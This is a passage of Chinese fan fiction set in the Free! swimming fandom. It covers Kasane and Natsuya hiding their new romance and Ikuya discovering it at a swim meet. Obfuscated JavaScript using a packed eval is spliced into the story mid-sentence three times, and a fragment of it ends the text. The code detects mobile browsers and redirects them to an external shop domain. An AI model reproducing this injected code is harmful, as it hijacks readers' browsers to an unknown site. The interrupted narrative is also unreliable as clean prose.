换言之，在问出这句“你和郁弥说过了吗”的时候，她确实已经感觉到了一丁点的不对劲，也觉得自己好像真的不该这么说，可惜后悔感并没有强烈地冒出来，害得她都不知道该说点别的什么作为补救措施了。 还好还好，就郁弥的哥哥夏也而言，他似乎不觉得这话很怪。 “没说。”感觉这句回答略有歧义，他赶紧把话补全，“我暂时还没有和他说。” 言下之意是，他会说的。 “不过，这种事该怎么说啊……要突然出现在他的面前，告诉他，你哥哥现在是我的了哟，吗？”说着说着，她的眉毛蹙起来了，忍不住一只抓后脑勺，看起来比当哥哥的夏也还苦恼，“听到这种话，他肯定会哭的吧？你知道他有多脆弱的。” 对桐岛郁弥而言，这个消息估计也是行星撞地球级别的灾难。 虽然很喜欢看男人（尤其是郁弥）掉眼泪，但他要是真的哭了起来（且不是感人至深的电影作祟毕竟电影带来的眼泪要不了半小时就会顺利挥发掉的），处理起来一定很麻烦，光是想想风音都觉得头大了。 “那就别说了嘛。”夏也在这个问题上意外得相当豁达，“让他自己发现不就好了？他也不是小孩子了，看到我们之间的相处方式发生了变化，就会明白是什么情况的。” “然后他就会沉浸在超级庞大的惊讶心情之中，完全忘记要掉眼泪？然后我们就可以不用想办法哄他开心了？是这个意思吧？” “……其实我没想到这么深。” 其实，他就是没那么想和郁弥说这件事而已。——当然了，这话他也是不会和风音说的。 但没想到她在这个问题上意外得还挺执着的。 “那如果是这样——如果我们告诉了所有人，唯独留下郁弥自己去发现这件事，你猜他会变成什么样子？” “这个嘛……” 这绝对是最最糟糕的情景了，夏也都不情愿去揣摩此事发生会是怎样，可想象力已经开始自顾自地开始描绘了，一下子就勾勒出了别过脑袋一声不吭自顾自倔强地往前走、偶尔一次的回头只是为了气恼地瞪他的郁弥，而这绝对会是郁弥极其生气的时候才会有的样子。 真糟。光是想象一下就觉得糟糕透顶。 夏也默默放下了刀叉，轻叹了口气。 “那就谁都别告诉了。”他干脆地下定了决心，“就当做是送给大家的寻宝游戏吧。” 寻宝游戏。好奇妙的描述。 风音笑出了声，“可是并没有实际的‘宝藏’存在，不是吗？得有‘宝藏’才行啊，不然很没意思的。” “你说得对，很严谨。”夏也一本正经，“看来，只能奖励猜中的人帮我吃香菇了。” “狡猾！这是给你的宝藏才对吧！” “有什么关系？反正只要有奖励性质的内容存在就好了嘛。” 没想到夏也也是个存在着狐狸尾巴的家伙，风音开始怀疑自己人生的前十几年是不是压根没有真正地认识过他。 但是，也很想知道他到底是怎样的人。 作为这份小小未知的，报复，她故意挑出了炒蛋里的一小颗香菇，丢到他的盘子里。夏也着急忙慌地用餐巾纸把香菇碎裹起来，光是看到自己最讨厌的蔬菜都会胃口大减，不过他一点也不讨厌风音这种恶意满满的小动作——毕竟她一向都很少折腾他。 她恶作剧的对象通常都是郁弥，他才是那个饱受她毒手摧残地倒霉蛋。而他通常…… “不过，我会和妈妈说的。”她忽然说。 从乱糟糟的心绪中抽身而出，夏也下意识地“嗯？”了一声。 “我在说刚才的话题啦。至少要和妈妈说一下才行。” 夏也笑起来：“不和皮埃尔说吗？” “不要，我情愿告诉安德烈亚也不和他说。他可是个恋爱观很有家伙的问题啊！而且……” 啊，是了。 风音忽然想起来，先前他带着安德烈亚结束南下的旅行回到东京，准备搭乘航班回法国的时候，以一副很像老父亲（但表情和语气还略显生硬）的做派和她说，那个来家里吃饭的以前桐岛家的长男是个很不错的男朋友，听得她的白眼翻了整整三百六十度。 当时，她郑重其事地说，首先要记得小辈的大名叫什么才算是真正的礼貌，其次她和夏也只是朋友而已，最后请不要对一切正常的人际关系都添上无聊的恋爱滤镜——“就是因为你老把爱情看得这么重但又没有专一的恋爱观所以才会离婚两次啊你知不知道还有别叫我艾莉娜了！”末了顺便添了这么一句。 当时皮埃尔倒吸一口凉气凉气一手按住胸口附加大受震撼的表情与安德烈亚开怀自在的大笑给她留下了极其深刻的印象，就此她下定了决心，这段不算太礼貌的对话她一定不会告诉任何人。 包括夏也。 所以，当他追问刚才她脱口而出的那句“而且”是要说什么时，她立刻沉下了面孔：“什么也没有，你当我没说过这半句话。” “唔……好。” 可能正是因为被这点无聊的话题充实着，早饭磨磨蹭蹭了好久才吃完，真该多亏今天教练没有安排晨练，否则她也就没办法和夏也一起悠悠闲闲地走上小一个钟头去学校了——明明搭公交车的话一刻钟就能到了，可能把有限的时间变得无限长才是恋爱的真谛吧。 既定的路线肯定无法拉扯出无限的长度，到校门前就该告别了。 “可以亲你吗？”夏也很忽然地说。 他昨晚可没这么问，自顾自地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782683|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吻了她的脸颊，现在倒是知道礼貌了。 风音觉得好笑，她可不觉得亲吻是什么需要得到许可才能去做的事情，但既然他一本正经地问了，她肯定会一本正经地点点头，正声说：“请吧。” 一个短暂的吻落在她的唇上。太快了，几乎没有实感，她甚至没有感觉到自己的心轻飘飘地浮起。 而后道别，看着他的背影消失在街角。依然没有实感。 穿过灌木丛的时候，风音想起了以前在巴黎看到的小册子——就是那种放在报刊架上、随意供人取阅的、不算太有趣味也没有很多文学性的小册子——里头将恋爱形容成相互侵占的战争，谁率先奉上了亲吻就等同于扯开了认输的白旗。 她对这份理论很认同，但唯一认同的部分是扯白旗，拿这当做比喻实在是太具有法国风格了，她笑到把小册子塞进书包里带回了家，可惜在下一次搬家的时候弄丢了，否则她真想再重温一下。 她绝没有觉得夏也已经变成了这段关系里的败者。会突然冒出旧日的回忆，肯定也只是因为她想得太多了吧。她甩甩脑袋，赶紧把多余的念头全都丢了出去。 训练结束之后，一个没忍住，把恋爱的事情告诉伊藤凪了。她特别配合地发出了夸张的“诶——？”一声，动静真实到让风音都有点怀疑她是真的惊讶还是纯粹的演技作祟了。 “嘛，肯定是有点惊讶的啦。”伊藤凪换上一副平静的面孔说，“以前我想帮你占卜恋爱问题的时候，你一直都不感兴趣，搞得我一直以来都觉得你的恋人会是篮球——因为我的恋人就是篮球。” “对不起，我不是物性恋，让你失望了。” “没事，我原谅你了。”她摆出一副大度面孔，这下确实是演技没错了，“所以你的恋人从篮球变成谁了，那个之前我们在电视转播的游泳比赛上看到的深绿色头发的你的幼驯染？” 风音被她的话吓了一跳，心脏突突地跳，明明她也没有在说多么恐怖的话。 “为什么这么说？”否认晚一步才追上来，“不是他。你为什么觉得是他？” “我随便猜的，而且我爱吃幼驯染恋爱。” “伊藤大人，不要再以己度人了哟。而且的确是幼驯染恋爱没错，不过对象是他哥。” “好！幼驯染恋爱好！”伊藤凪振臂欢呼，比真正坠入恋爱的风音本人还要行风一点都，“事已至此，你想不想进行一次恋爱占卜？” 说着说着，她甚至都把塔罗牌掏出来了。 似乎是在衬托着这份气氛，晚风恰到好处地温柔拂过两人的发梢，树叶也碰撞出清脆的沙沙声，明明她们正立足在这颗星球上光污染最严重的城市之一，今夜星空居然还是分外耀眼，照耀着她与伊藤。这一切都足够吹起好奇心，风音能感到一阵蠢蠢欲动的心情在胸腔里鼓动，她忍不住深呼吸了一口气。 “不要。” 然后果断拒绝了。 她可不想当那种被占卜的结果捆住的可怜人。 37.并非被夺走的某物 恋爱开始了，但好像又没有完全开始，可能是因为连约会都还没有正经开始过，国青队的试训就先一步急匆匆地追上来了吧。 看来好消息一旦叠加起来就会变成坏消息呢。 女篮国青队的试训为期半个月，全世界除了自己队友之外唯一知道此等好消息的夏也（被套上了此番头衔的夏也本人对这种称呼方式感到相当别扭，理由是这听起来简直像是某种藏有邪恶秘密的家伙）早在试训开始之前就送上了一百种不同的鼓励，风音有理由相信自己很可能会被他吹捧到天上去。 “你知道吗？你这么努力地替我加油，反倒会让我觉得自己没办法在天才们的队列里好好表现的。”她一本正经如是说。 风音不是个没有自信的家伙，但她暂时还不能确定自己在篮球方面是不是真正的天才——她很擅长玩球类运动的这一点倒是从小就已经显现出来了的天赋。她肯定也不会过分谦虚地觉得自己还存在着不足与更大的进步空间，毕竟能拿到试训的机会足够证明她不需要妄自菲薄。 如此看来，她的自信心完全就是飘在了一种微妙的、不高又不低的程度之中，看起来不赖，可要是这时候有一大堆的鼓舞扑棱着翅膀飞过来，真的很有可能影响到她的自我定位。 说得简单一点，她的信心很可能会因此掉下一大截。 “是吗？”电话那头夏也的语气听起来很困惑，“虽然我平时也很少会这么努力地给后辈加油鼓劲，但和郁弥这么说的话，他会很高兴的。” “真的不是因为爱屋及乌吗？” “这是什么理论？” “‘因为是最喜欢的哥哥所以不管他说了什么都会很喜欢’的爱屋及乌理论。” 他笑起来，“你说的完全是歪理吧？” “怎么可能。不许质疑我的思想深度。” “明白了。”夏也煞有介事般点点头，“从此以后我再也不会夸奖你了。” 多么冷漠话语，风音差点要跳起来。 “鼓励和夸奖不一样吧，一个是事前另一个发生在事后不是吗！绝不能因噎废食啊桐岛先生！” 不得了，连“桐岛先生”这种从未有过的称呼都冒出来了，看来夏也必须收敛一点才行。 “我明白了。我会继续夸夸你的。” “你最好是记得你说了什么。” 可怕的要挟，看来得把她的训诫刻在日日都能见到的某样东西上才行了。 好消息是，在这之后过分吹捧的鼓励姑且算是绝迹，风音感到世界变得好清静，本来就没有多少压力的心情变得更加畅快了。至少在试训的这半个月里，她觉得自己表现得挺不错。 原本还觉得这里高手云集，自己很可能是吊车尾的那一批——她真的不想在除了学游泳永远慢人一步之外，再增加新的落于人后的方面。实际情况是，她表现得还算不错，好到可以半夜给夏也发一条“麻烦现在立刻夸我一下”的消息，差点连自信心都要一起膨胀了。 要是能当面见到他、和他说出自己的心情，一定会更好。可惜真的很久没有见到夏也了。 半夜当然没人回她消息，但一般来说，比夏也的回复更先到来的，会是郁弥的新消息。 「Ikuya：游泳竞标赛的全国正赛在这周日，你觉得这次你能在我登场之前坐到观众席上吗？」 唔，恰好就是国青队训练结束的那天呢，时间真是完美地凑上了。不过郁弥的后半句话算是什么意思？ 「Kasane：在你心里我只会迟到是吗（笑）」 「Ikuya：因为有过前例，所以目前我对你的评价差不多是这样没错」 「Kasane：行了明白了我的拳头现在会立刻横跨东京来到霜狼大学打你」 「Ikuya：可我现在不在学校:P」 「Kasane：没关系，你会在的，到时候就能打到你了」 嘴上说得信誓旦旦，可惜只是狠话而已，毕竟不到一米的她的手臂真的没办法像橡皮糖那样弹性十足地一路扯到霜狼大学的校园里，郁弥也根本用不着担心气恼的拳头落在自己的脑袋或者是背上。 还好国青队的训练日程结束得比锦标赛早不少。哪怕只是为了挽回自己对外的错误印象，风音也必须早早到场才行。 结果到得有点太早了，即便绕着整个体育场走了三圈、去就近的连锁家庭餐厅吃了一大碗牛丼饭、还对便利店新上架的饭团进行了一番无比详尽的评头论足，她还是又等了半小时才成功地和一同前来观赛的小伙伴会和。 “你来得也太早了吧？”贵澄忍不住看手表，“难道偷偷改了会和时间没通知我吗？不对……真琴还有日和他们明明也是和我一个时间到的。” 很好，这话风音爱听，多说一点也没关系。 “啊哈哈，可能我真的来太早了，我自己都没发现呢。”她立刻装出一副没有苦苦等候这么久、仿佛度过长久的等待也只是信手拈来般的轻松模样，欲盖弥彰地来了一句，“真是的，我最近还被一些人指责为迟到专业户呢。” “可鹿鸣你也不是总在迟到呀。”贵澄说。 他们可是一起看过好几次比赛了，对谁才是最容易忘记约定时间的那个人，简直快要了如指掌。 “就是就是！这么说我的人完全就是忽视了我经常早到的美好品格，真是太过分了！”光这么说还嫌不够，风音干脆对着体育场大喊一声，“特别过分！” 与此同时，郁弥猛打了一个喷嚏。他果断地掏出了手机，不用想也知道该向谁问责。 「Ikuya：你在骂我对不对」 「Kasane：而你在泼我脏水」 「Ikuya：你看你都不否认。连反驳也不说一句吗？太过分了！」 「Kasane：说了你也不会信的不是吗？」 输入，删除。再输入，又删除了。 郁弥的手指敲打在键盘上，可惜连一句应答都给不出来。 ……好吧，他确实不会信，但这可不能怪他，谁让风音是个无赖，在他心里的可信度真的没有很高。 他干脆什么也不说了，飞快地把手机丢进储物柜，戴上泳帽。他个人竞速的比赛很巧地被分在了第一场，微妙地增添了一些没必要的压力。 还好，只是一点点而已，并不真的会压弯他的脊背。他也和任何时候一样，会成为第一个碰触泳壁的人。 午饭是和哥哥一起吃的，就在体育馆南门旁边的官方餐厅，那里供应的基本都是不太好吃、但足够健康安全、绝不会让任何一个参赛的运动员在跳进泳池之前身体不适的餐点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785541|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能算是一件小小奇怪的事情，但郁弥是在这件事发生之后才意识到不对劲的——在餐桌旁坐下时，他们同时拿出了手机，拍下了今日份的午餐。 思维在这一秒抽搐了一下，似乎冒出了什么诡异的念头，但那很像是迷迷糊糊的一种感觉，他也说不清楚。 “你也想留念一下难吃的午饭吗？”他只这么说了。 这算是半句谎话，因为他的照片不是用来留念的，只是想要分享给某个人而已。 “没有哦。”夏也垂着眼睛，很认真地把盘子里的鸡腿肉戳散，“拍给女朋友看。” “是嘛。” 第一回听说这事，意外得没觉得特别意外，毕竟他哥是个值得被喜欢的人，有人喜欢哥哥是很正常的事情。 可他的反应让夏也的面孔都快拉长了，好不开心，“你怎么一点也不好奇？你哥哥被别人夺走了哟。” “不是……这算是你的隐私吧，而且恋爱又不是掠夺，你还是我哥啊。我现在只是在，”郁弥想了想，寻找着合适的措辞，“在尊重你的私生活？” 夏也扯了下嘴角，“……谢谢你？” “……不客气？” 莫名感觉气氛好怪。 风音的回复恰好在这时候过来了，是一张餐桌前的合照，与贵澄真琴还有日和的笑脸搭配在一起的是硕大一盘生鱼片和鳗鱼寿司——他的很没良心的朋友们正在背着他享受珍馐美馔。 还没想好要怎么回复，忽然听到哥哥笑了一声。本以为他轻笑的对象是忍不住做出了气愤鬼脸的自己，抬头一看才发现哥哥其实只是在盯着他自己的手机。 “她回复我，”注意到郁弥的目光时，夏也说，“这只鸡腿一看就很难吃，晚上鸡的亡魂一定会赐给厨师一个噩梦。” 郁弥笑了，“很合理的猜想。” 感觉哥的女朋友说话好搞笑。 当然了，就算是难吃到会让食材产生亡灵的午餐，也还是要全部吃完。夏也的比赛比自己开始得更早，得去做准备了。郁弥随口嘀咕了一句，还好这次的比赛没有要和他同场竞技地场次。 “不想输给我吗？”夏也笑着问。 “倒也不是，况且我也不一定会输吧？” “上次就输了。”这事居然还要反复强调。 郁弥不爱听这话，“你也说了，是上次。” “下次别输给哥哥啦。” “那哥你下次给我放水。” “有悖体育精神，不行。” 郁弥想说他是小气鬼——当然，只是玩笑——不过夏也已经先一步挥手离开了，这话没能来得及说出口。 午后的比赛继续进行，在水中气喘吁吁。努力会换来回报，一如既往，他拿到了想要的名次，得以站在领奖台的最上方。 接下来，大概就能冲击世界范围的比赛了吧。挺开心的，不过不至于到狂喜的地步，同样也不必太得意或是过分谦虚。郁弥收拾好东西，快步走出体育馆，准备和朋友们会和。 差不多就是在这个时候吧，他看到了。 看到了夏也，看到他在拥抱着某人，看到那个某人金色的长发。 于是，他意识到了。 不是什么“被夺走的哥哥”。 是哥哥已经夺走了什么。 38.秘密不会无人知晓 踮脚，往前看。前方是人——乌泱泱一大群人。 “其实啊，我一直觉得。” 说出这句话的时候，风音深呼吸了一口气，但是失败了——她正挤在从体育馆唯一的一个开放出口中退场的人潮中，每个个体之间的距离被压缩得前所未有的小，害得她的胸膛都没办法鼓起来了。 “比赛结束之后的退场时间简直就是折磨，不是吗？” 虽然会有工作人员协调秩序，场合也不会太过混乱，可这慢到令人发指的前进速度与怎么想都会很让人担心是不是会被彻底吸干的氧气含量还是让人觉得挺难受的。如果有得选，她当然想成为走在退场队列最前方的那波人。 想着想着就忍不住开始叹气了。 早知道会堵成这样，就该赶在最后的颁奖环节开始之前偷偷溜走，反正郁弥和夏也会站在领奖台上完全是可以预见的情况，恭喜和鼓掌也可以留到结束之后的回合再说。 “这不好吧。趁着颁奖的时候溜走，郁弥会不高兴的。” 日和为她的精妙大计送上否定，听得风音的面孔瞬间就拉下去了。“日和你就是太顺着郁弥了。”她毫不留情地说，“像溺爱孩子的家长。” 莫名其妙就被套上了此等头衔，远野日和只能勉强保持住笑脸，不着痕迹地呛了回去。 “可能是因为鹿鸣同学你一直对郁弥特别严苛又特别邪恶吧——他都和我说了。相比之下，我的普普通通的友谊行为确实很容易被衬托为宠爱。” 风音换上一副笑吟吟的面孔：“是嘛是嘛他连这种事都要和你说吗？” 总感觉气氛有些微妙，不对劲到连贵澄都忍不住把脑袋伸到两人之间，一会儿往左看看风音皱起的鼻尖，一会儿又瞄了瞄藏在日和眼睛背后的眯眯眼。 “你们在演《大奥》吗？”他忽然说。 日和有点懵：“……为什么突然开始说电视剧的事情？” 风音可谓相当茫然：“不好意思，我没看过《大奥》。” “诶？鹿鸣居然连《大奥》都没看过吗！”贵澄好意外，“高一的时候大家都在看！” “那时候我和爸爸住在马赛啦。” “马赛不会放《大奥》吗？” “当然不会。那里还在流行《东京爱情故事》呢。” “诶——这样吗？至少也该进化到《一公升的眼泪》才行啊，毕竟演女主角的那个谁是半个法国人嘛！” 风音纠正他：“人家是法国籍阿尔及利亚裔的后代啦。” 话题就这么转到对电视剧的讨论了，好像谁都没想起贵澄最初提到《大奥》是为了什么——他其实是在暗示风音与日和之间的拌嘴有点太剑拔弩张了，像在将军的面前争宠。 关于电视剧的话题持续了整整五分钟，退场的队伍前进了整整三米。天呐，多么卓越的成就。 风音踮起脚尖，仰着头，深吸了一口空气。感觉室内稍稍有点热起来了。她往前挪了一厘米，恰在这时收到了夏也的消息。 「Natsuya：你们出来了吗？好像一直没有见到你」 参赛选手会有专属通道，完全用不着和一般观众挤同一条退场路线，想必他肯定已经在体育馆外头吹了好久的风吧，真叫人眼红。 「Kasane：还没有【哭哭.jpg】但很快了，明年应该就能见面了吧【双手合十升天.jpg】」 「Natsuya：先别急着升上天堂。你们现在走到哪个位置了？」 哪个位置？ 虽说上次的东京地区赛也是在这个体育馆开展的，可她对此地真的很不熟悉，突然被这么问只觉得茫然，赶紧左顾右盼东张西望，勉强给出了一个不算答案的答案。 「Kasane：在那个专门买三得利饮料的贩卖机的右侧，距离北门还有……五十米？哦，对了，右前方还有个多功能盥洗室。」 「Natsuya：你稍微后退一点，左侧会有一个通往员工专用楼梯的灰色门，你走进去，左拐，沿着走廊一直向前，就能找到参赛选手退场的通道了。这是我以前发现的密道。」 「Kasane：员工专用通道真的可以走吗……被人抓住的话我会不会被勒令刷池子作为惩罚……」 「Natsuya：只要表现得足够正大光明就不会有人怀疑你了。我不想真的等到明年再见你」 「Kasane：好吧好吧」 “有人告诉了我一条捷径。”她和小伙伴们说，“虽说对方提供的消息一定是很值得信赖的情报，但是以防万一，还是由我先去给大家探探情况。等我消息！” 说着，她就消失在人群里了。 想要从狭窄到只能艰难地挤过一个手掌的空隙中穿过，着实不是什么轻松的差事，不过对于风音来说倒还算不上是挑战——她在赛场上无数次带着球穿过包围圈的经历可比这可怕多了。 几个闪身，灰门很快就出现在了眼前。偷摸摸溜进去，和夏也说得一样，果真是楼梯没错。 照着指示继续走，所能见到的当然是描述之中的东西，还有站在出口不远处的夏也。 真不想承认，上一次和他见面还是在吃菌菇炒蛋的那个早上，现在再回想起来，简直能算得上过分久远，简直都快要变成无法回忆起来的事情了——想要凑上彼此都空闲的时间，对他们来说本就是很难的事情，期间还夹杂了半个月的国青队训练，真的太久没见面了。 正是这点久远的陌生感害得风音有点茫然，开始怀疑眼前这个湿漉漉的、一头微翘棕发还没来得及吹干的家伙，会不会只是错觉扭曲出来的产物。 还好，不用担心，眼前的夏也绝不是什么错觉，他都已经在向她挥手了。风音赶紧跑过去。 “没想到你说的那条路真的能走通！”她迫不及待地想要分享这个理所应当的结果，“虽然知道你不会骗我，不过我还是挺担心会不会走不通。对了，我得赶紧告诉……” 没有来得及说完，就已经落进了他的怀抱里。一如既往，结实得像熊。 “你的外套热乎乎的。” 他笑着说，用脸颊蹭她耳朵，好痒。 风音不怕痒，不过这份触碰还是让她忍不住会想要缩起肩膀，可惜被夏也的臂膀禁锢着，根本哪里都去不了。 “当然是热的，因为染上了室内空调的温度嘛。”她猛抖了一下，叫嚷起来，“你的湿头发贴到我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791560|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上啦！啊！冷的湿的！” “湿头发当然是冷冰冰的嘛。” 夏也学着她的腔调说话，故意用湿漉漉的脑袋顶她。估计连这份邪恶也是他作为风音最好的学生的杰作吧。 可恶，一贯折磨人的她居然被人折磨了，好丢脸！ 风音挣扎着抽出一条手臂，努力去摸口袋里的手机。 “放过我一秒钟好不好？我要把你和我说的秘密路线告诉贵澄他们才行。” “不要。”夏也轻轻攥住她的手腕，把出逃的手臂重新塞进名为拥抱的牢笼里，“别和他们说。我想和你多待一会儿。” “这样好像有点太自私了哟。” “那有什么关系。自私不是坏事。” “啊啊但我不想背叛朋友啦。所以快把我的手放出来！” 夏也装没听到。 突然从温暖贴贴变成了拉锯战，真是恼人。风音开始考虑是不是要掉下几颗假惺惺的眼泪才好，但这样估计骗不过夏也——他可没那么容易上当，她也没那么容易挤出眼泪。 似乎就是在琢磨着计谋的时候，她看到了。 看到了郁弥，看到他站在她不久前才穿过的那个通道口，看到他看着自己。 也可能是在看夏也吧？ 并不像是秘密暴露的那个瞬间所感觉到的、顺着脊柱倾泻而下的惊恐感，也绝没有任何的窘迫或是意外，至少风音坚信这些情绪全都不会落在自己的身上，但在对上郁弥那张被惊愕冲刷成惨败的面孔时，她还是不可自控地浑身轻颤了一下。 而这渺小的颤栗，会无比清晰地传达到夏也的掌心里。他追上风音视线的方向，三个人的目光撞在了一起。 最先移开目光的是郁弥——一点也不意外。 他不自在地扯了扯背包的肩带，低着头，下意识想做的可能是换条路走，但脚步只歪斜了一秒，还是朝他们走来了。 “日和他们呢？” 明明是在问风音，视线却没看她。 “可能还堵在退场通道吧。”是了，现在能拿起手机了，“我赶紧他们说一下捷径怎么走。” 还没编辑好文字，小伙伴们倒是已经走过来了。 不知算是好运加持还是实在不幸，就在风音出发前去探路的时候，堵塞的人群瞬间变得好通畅，他们没浪费多少时间就走出来了。 说起问好的寒暄，聊起比赛时的事情。当大家在说话的时候，有什么温暖的东西钻进了风音的掌心里——是夏也的手。 不加掩饰的动作，无论谁都能看到，还好谁也没有说着起哄的话，只抱怨似的说，完全没听说这件事，然后送上玩笑般的责怪，责怪的对象却是郁弥，抱怨着说他连桐岛前辈恋爱了这么重要的事都不和大家分享，谁都不知道他也知道今天才知道哥哥的事情。 气氛好像一如借我，甚至算得上相当轻松。大家商量着一起去吃晚饭，不知道吃什么才好。夏也说吃一些香菇很多的料理吧，然后把他最讨厌的香菇分给大家。不知道为什么，听到这话的风音一直在笑，明明这话也没那么有趣。 郁弥忍不住想，一定是哥哥和风音紧握的手里，藏着只有他们才会知道的秘密。 39.路径通向false 郁弥觉得，比赛日发生的事情，差不多都很相似。 拼命向前、夺冠、站上领奖台、收下大家的喝彩，如果朋友们都在，那就去办个小小的庆功宴，吃点被教练知道了一定会长吁短叹的糟糕食物。就是这样的日程。 虽然今天这个流程中多出了意料之外的“发现哥哥的对象是何许人也”一环，该做的依然还是照做了，自己诡异的、抽痛的心情完全没有影响到每一件事的推进。真怪。 郁弥开始怀疑自己的日程正在被看不见的手操控——他可不是在说那个代表了经济学的概念。 不过，有恋爱事件的突发影响，估计这一成不变的流程多少也会发生一些或大或小的变化吧。 郁弥猜想自己很可能会惦记着风音的事情而难以拿起筷子，或是不受控制地向她投去目光，欲盖弥彰到任何人都有可能意识到他在想什么。说不定，还可能做出在此之上的诡异行动，比如像是成为那个牧师说“如无异议就请保持沉默”时从教堂的长凳上站起来的家伙。 但他好像想多了。 他什么也没做，什么也没做，就连食欲完全没有受到影响，目光紧盯着眼前的碟子，一次都没朝夏也或是风音的方向望过去。 他好像吃掉了比预期之中更多的东西，能意识到这一点，是感觉到了胃部隐隐作痛，可大脑还没觉得满足，依旧催他继续，真是有够讨厌。 多谢没有节制的贪念，一到家他的胃就痛得不行了，吐得昏天黑地。看来应该早点吃消食片的。 日和打电话过来，问他感觉怎么样。 “感觉你今天心情不太好。”他说。 还以为这一点已经被藏起来了，没想到还是会被发现。真糟。 郁弥不太自在地扯了扯耳边的头发，语气一如既往很平静：“有吗？我一点也不觉得。” “当事人感觉不到也很正常吧。是因为夏也前辈的事吗？” 可恶，被发现了。 日和怎么能把事情事情看得这么透。 郁弥把消食片丢回去，推着药箱摆进抽屉里——在此之前明明一直都是放在架子上的——合上，而后才予以否认。 “没有，和他没关系。我在想其他人的事情。” 不算谎言，因为风音的事和哥哥的事截然不同。 “是嘛，那就好。”日和说这话的语气简直像是松了口气，“如果是你和夏也前辈闹矛盾，肯定会很麻烦的。” “放心，就算真的是和哥哥闹了什么矛盾，也不会给你添麻烦的。” “嗯，所以我说‘那就好’。” 一阵很急促的铃声从听筒里传出来，是新来电的提示音，出现在屏幕上的是风音的名字。 “抱歉，日和，我有其他电话。” “那我就不打扰了。明天学校见吧。拜拜。” “拜。” 郁弥按下挂断的红色按钮，然后又按了一次——他把风音的电话也挂掉了。 他可没有生气，也并不觉得自己被背叛了，因为谁也没有背叛他，并非是任何人的错。他坚信自己肯定也没有犯错。 电话又响起来了，当然还是风音。他迟疑了几秒，其实一点也不想去听她要说什么，但手指还是移向了接听键，肯定只是手滑了，毕竟他一听到那声熟悉的“喂”就已经后悔得不行了。 早知道就…… “你还没睡吗？我以为你肯定已经睡了的。” 风音会这么说，完全是因为他们俩的作息差不多，睡得早醒得也早，还一样都会去晨跑。 正如此刻，她已经钻进被窝里了，计划着等这通电话结束之后，就立刻沉进梦乡。 “没有。睡了就不会接你的电话了，不是吗？”他的手不自觉地乱动起来，一会儿扯扯桌布，一会儿摸摸脸颊，“我刚才在跟日和聊天，所以挂了你的电话。” 非要解释这个干嘛呀。 郁弥在把话说出口了之后才觉得后悔，可以话语已经钻进电话的另一头了。 “诶——在和远野君说话呢？”她的语调阴阳怪气的，“那也没办法啦，只能说我刚才的电话来得不是时候。” “算是吧。” 而后他就不知道该说什么了，电话那头也陷入沉默，甚至因为手机贴得耳朵太紧，害他只能听到自己的心跳声了，比秒针快了太多，也比滴答滴答的动静听着更让人觉得不安。 倒是说点什么啊——说关于我的事，或是关于你的事。 这念头不知道是冲着自己的，还是想要丢给风音。 还好。她开口了。 “你今天是不是吃太多了？明明我今天没和你抢。” 但，说的是无关紧要的事。 郁弥高高浮起的心倏地落下，扑通一声，掉回胸腔里。 想听到的不是这句话。 “嗯……算是吧。”即便如此，还是回答了，“刚才还吐了。” “好惨。是因为你还喝酒了才会觉得反胃吧？” “我没喝。” “那可能是我记错了吧。” 话题在这句话之后又沉寂下来了，再次剩下他的心跳。 “对了，我今天没迟到。你下次不能再说我总是到得晚了。” “嗯。” 今天比赛的期间，他都没怎么留意观众席，直到颁奖礼开始之后，才急切地从看台上那些小小人头中寻找她的身影，幸好她的金发很显眼，总是一眼就能看到。 但要是那时没有看到就好了，如此一来，此刻他也不会感受到到胃液灼烧着舌尖，连言语都说不出口的感觉了吧。 “还有，你啊。” 她顿了顿。 不知道她在短暂的停顿中想了些什么，只听到她说：“你是不是生气了？” 小心翼翼的问话。 郁弥低下头，他的脊背也弯了下去。 在听到这句询问的当下，他当然不会觉得生气。就算在此之前有任何愤怒，现在可能也消磨殆尽了，被这很谨慎的问法。 会说出这样的话，根本不像你啊，风音。真想这么说，当然也说不出口。 他的沉默让风音不得不说点什么。 “虽然你以前也老和我耍小脾气，但我觉得那不是真正的愤怒。换句话说，要是你真的对我生气了，我会觉得很难过的。” 郁弥没应声，她只能接着说下去。 “我知道不坦率是很讨人厌的事情，我觉得你完全可以怪我什么都没和你说，不过生气的话就有点糟了。” “我没生气。” “那你会有除此之外的情绪吗？我肯定也不会生气的，不管你说了什么。” “其实也没有。” “真的？” “真的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 